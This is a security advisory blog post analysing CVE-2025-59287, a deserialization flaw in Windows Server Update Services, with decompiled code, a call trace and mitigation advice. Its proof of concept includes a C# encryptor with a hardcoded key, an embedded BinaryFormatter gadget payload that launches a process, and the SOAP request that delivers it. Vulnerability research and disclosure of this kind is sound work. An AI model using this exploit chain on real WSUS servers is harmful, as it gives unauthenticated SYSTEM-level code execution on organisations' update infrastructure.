Deserialize

CVE-2025-59287 WSUS Remote Code Execution

A technical WSUS advisory for CVE-2025-59287: unsafe deserialization in Windows Server Update Services that allows remote code execution.

Batuhan Er

October 18, 20256 min read
CVE-2025-59287 WSUS Remote Code Execution

CVE-2025-59287 — WSUS Remote Code Execution

In this study, we will examine a critical vulnerability (CVE-2025-59287) discovered in the Microsoft Windows Server Update Services (WSUS) environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie() endpoint, where encrypted cookie data is decrypted using AES-128-CBC and subsequently deserialized through BinaryFormatter without proper type validation, enabling remote code execution with SYSTEM privileges.

CVE-2025-59287 / 9.8

Windows Server Update Services (WSUS) Overview | Microsoft Learn


What is WSUS?

WSUS (Windows Server Update Services) is a Microsoft tool that allows IT administrators to manage and distribute updates for Windows systems. WSUS clients communicate with the WSUS server over the web to receive updates and stay secure.


Deserialize

csharp
	internal object DecryptData(byte[] cookieData)
		{
			if (cookieData == null)
			{
				throw new LoggedArgumentNullException("cookieData");
			}
			ICryptoTransform cryptoTransform = this.cryptoServiceProvider.CreateDecryptor();
			byte[] array;
			try
			{
				if (cookieData.Length % cryptoTransform.InputBlockSize != 0 || cookieData.Length <= cryptoTransform.InputBlockSize)
				{
					throw new LoggedArgumentException("Can't decrypt bogus cookieData; data is size, " + cookieData.Length.ToString() + ", which is not a multiple of " + cryptoTransform.InputBlockSize.ToString(), "cookieData");
				}
				array = new byte[cookieData.Length - cryptoTransform.InputBlockSize];
				cryptoTransform.TransformBlock(cookieData, 0, cryptoTransform.InputBlockSize, EncryptionHelper.scratchBuffer, 0);
				cryptoTransform.TransformBlock(cookieData, cryptoTransform.InputBlockSize, cookieData.Length - cryptoTransform.InputBlockSize, array, 0);
			}
			finally
			{
				cryptoTransform.Dispose();
			}
			object obj = null;
			if (this.classType == typeof(UnencryptedCookieData))
			{
				UnencryptedCookieData unencryptedCookieData = new UnencryptedCookieData();
				try
				{
					unencryptedCookieData.Deserialize(array);
				}
				catch (Exception ex)
				{
					if (ex is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex.ToString(), "cookieData");
				}
				obj = unencryptedCookieData;
			}
			else
			{
				BinaryFormatter binaryFormatter = new BinaryFormatter();
				MemoryStream memoryStream = new MemoryStream(array);
				try
				{
					obj = binaryFormatter.Deserialize(memoryStream);
				}
				catch (Exception ex2)
				{
					if (ex2 is OutOfMemoryException)
					{
						throw;
					}
					throw new LoggedArgumentException(ex2.ToString(), "cookieData");
				}
				if (obj.GetType() != this.classType)
				{
					throw new LoggedArgumentException("Decrypted cookie has the wrong data type. Expected type = " + this.classType.ToString() + ", actual type = " + obj.GetType().ToString(), "cookieData");
				}
			}
			return obj;
		}

Vulnerability Flow:

The DecryptData method processes encrypted cookie data through the following steps:

  • Input Validation — Checks if cookieData is null and validates block size alignment
  • Decryption — Uses AES-128-CBC via cryptoServiceProvider.CreateDecryptor() to decrypt the cookie data
  • Block Processing — Divides and transforms the encrypted data into decrypted blocks
  • Type Check — Determines if the data is UnencryptedCookieData or requires deserialization
  • Unsafe Deserialization — If not UnencryptedCookieData, passes the decrypted bytes directly to BinaryFormatter.Deserialize()

This final step is the critical vulnerability: arbitrary encrypted payloads can be deserialized, leading to remote code execution.


Trace

csharp
==> Microsoft.UpdateServices.Internal.Authorization.EncryptionHelper.DecryptData(byte[] cookieData) : object   (IL=0x00AE, Native=0x00007FFA784EE880+0x3A8)
  ==> Microsoft.UpdateServices.Internal.Authorization.GenericAuthorizationPlugIn.CrackAuthorizationCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie cookie) : void   (IL≈0x0031, Native=0x00007FFA784F10A0+0x138)
      ==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.CrackAuthorizationCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie cookie) : void   (IL≈0x006B, Native=0x00007FFA784F0DF0+0x1E6)
          ==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.CrackAuthorizationCookies(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies) : void   (IL≈0x0023, Native=0x00007FFA784F0B30+0xCF)
              ==> Microsoft.UpdateServices.Internal.Authorization.AuthorizationManager.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentClientTime, string clientProtocolVersion) : Microsoft.UpdateServices.Internal.Authorization.Cookie
                  ==> Microsoft.UpdateServices.Internal.ClientImplementation.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentClientTime, string protocolVersion, string clientIP) : Microsoft.UpdateServices.Internal.Authorization.Cookie
                      ==> Microsoft.UpdateServices.Internal.Client.GetCookie(Microsoft.UpdateServices.Internal.Authorization.AuthorizationCookie[] authCookies, Microsoft.UpdateServices.Internal.Authorization.Cookie oldCookie, System.DateTime lastChange, System.DateTime currentTime, string protocolVersion) : Microsoft.UpdateServices.Internal.Authorization.Cookie

DecryptData

The user sends a request. After the request is processed, the first part arrives here, where it retrieves values such as the cookie and date from the data we provided.

[Client]

csharp
public Cookie GetCookie(AuthorizationCookie[] authCookies, Cookie oldCookie, DateTime lastChange, DateTime currentTime, string protocolVersion)
		{
			if (Client.clientImplementation == null)
			{
				Client.CreateClientImplementation();
			}
			string ipaddress = this.GetIPAddress();
			return Client.clientImplementation.GetCookie(authCookies, oldCookie, lastChange, currentTime, protocolVersion, ipaddress);
		}

The ClientImplementation.GetCookie method is called. The GetCookie method performs multiple operations, such as checking whether the cookie is empty, and attempts to parse the protocolVersion. If everything succeeds, it passes the data to the other method, AuthorizationManager.GetCookie.

Next, it proceeds to the CrackAuthorizationCookie method, which checks the plugin ID that we provided in SOAP.

In UnencryptedAuthorizationCookieData and CrackAuthorizationCookie, it checks whether the cookie is empty and then passes it to the DecryptData method.


PoC

CVE-2025-59287

csharp
static void Main()
        {
            //key
            string hexKey = "877C14E433638145AD21BD0C17393071";
            byte[] key = new byte[16];
            for (int i = 0; i < 16; i++)
                key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

            string ysooo = "AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=";

            byte[] ser = Convert.FromBase64String(ysooo);
            byte[] enc = EncryptPayload(ser, key);
            string base64Payload = Convert.ToBase64String(enc);
            Console.WriteLine(base64Payload);
   
        }

        static byte[] EncryptPayload(byte[] data, byte[] key)
        {
            using (var aes = new AesCryptoServiceProvider())
            {
                aes.Key = key;
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.None;
                aes.IV = new byte[16]; // null

                byte[] salt = new byte[16];
                new RNGCryptoServiceProvider().GetNonZeroBytes(salt);

                using (var encryptor = aes.CreateEncryptor())
                {
                    int num = data.Length % encryptor.InputBlockSize;
                    int num2 = data.Length - num;
                    byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
                    encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
                    encryptor.TransformBlock(data, 0, num2, result, salt.Length);
                    byte[] paddedBlock = new byte[encryptor.InputBlockSize];
                    for (int i = 0; i < num; i++)
                    {
                        paddedBlock[i] = data[num2 + i];
                    }
                    encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);

                    return result;
                }
            }
        }
http
POST /ClientWebService/Client.asmx HTTP/1.1
Host: WSUS-SERVER:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"
Content-Length: 3632

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
      <authCookies>
        <AuthorizationCookie>
          <PlugInId>SimpleTargeting</PlugInId>
          <CookieData>[GENERATED PAYLOAD]</CookieData>
        </AuthorizationCookie>
      </authCookies>
      <oldCookie xsi:nil="true" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"/>
      <protocolVersion>1.20</protocolVersion>
    </GetCookie>
  </soap:Body>
</soap:Envelope>


Conclusion

CVE-2025-59287 is a critical RCE vulnerability in Microsoft Windows Server Update Services (WSUS), caused by unsafe deserialization of AuthorizationCookie data through BinaryFormatter in the EncryptionHelper.DecryptData() method. The vulnerability allows an unauthenticated attacker to achieve remote code execution with SYSTEM privileges by sending malicious encrypted cookies to the GetCookie() endpoint. Permanent mitigation requires replacing BinaryFormatter with secure serialization mechanisms, implementing strict type validation, and enforcing proper input sanitization on all cookie data.


Stay Ahead of Cyber Threats

Get the latest cybersecurity insights, threat intelligence, and expert analysis delivered directly to your inbox. Join security professionals worldwide who trust HawkTrace for cutting-edge security knowledge.

Updated Daily
Expert Authors
Industry Leading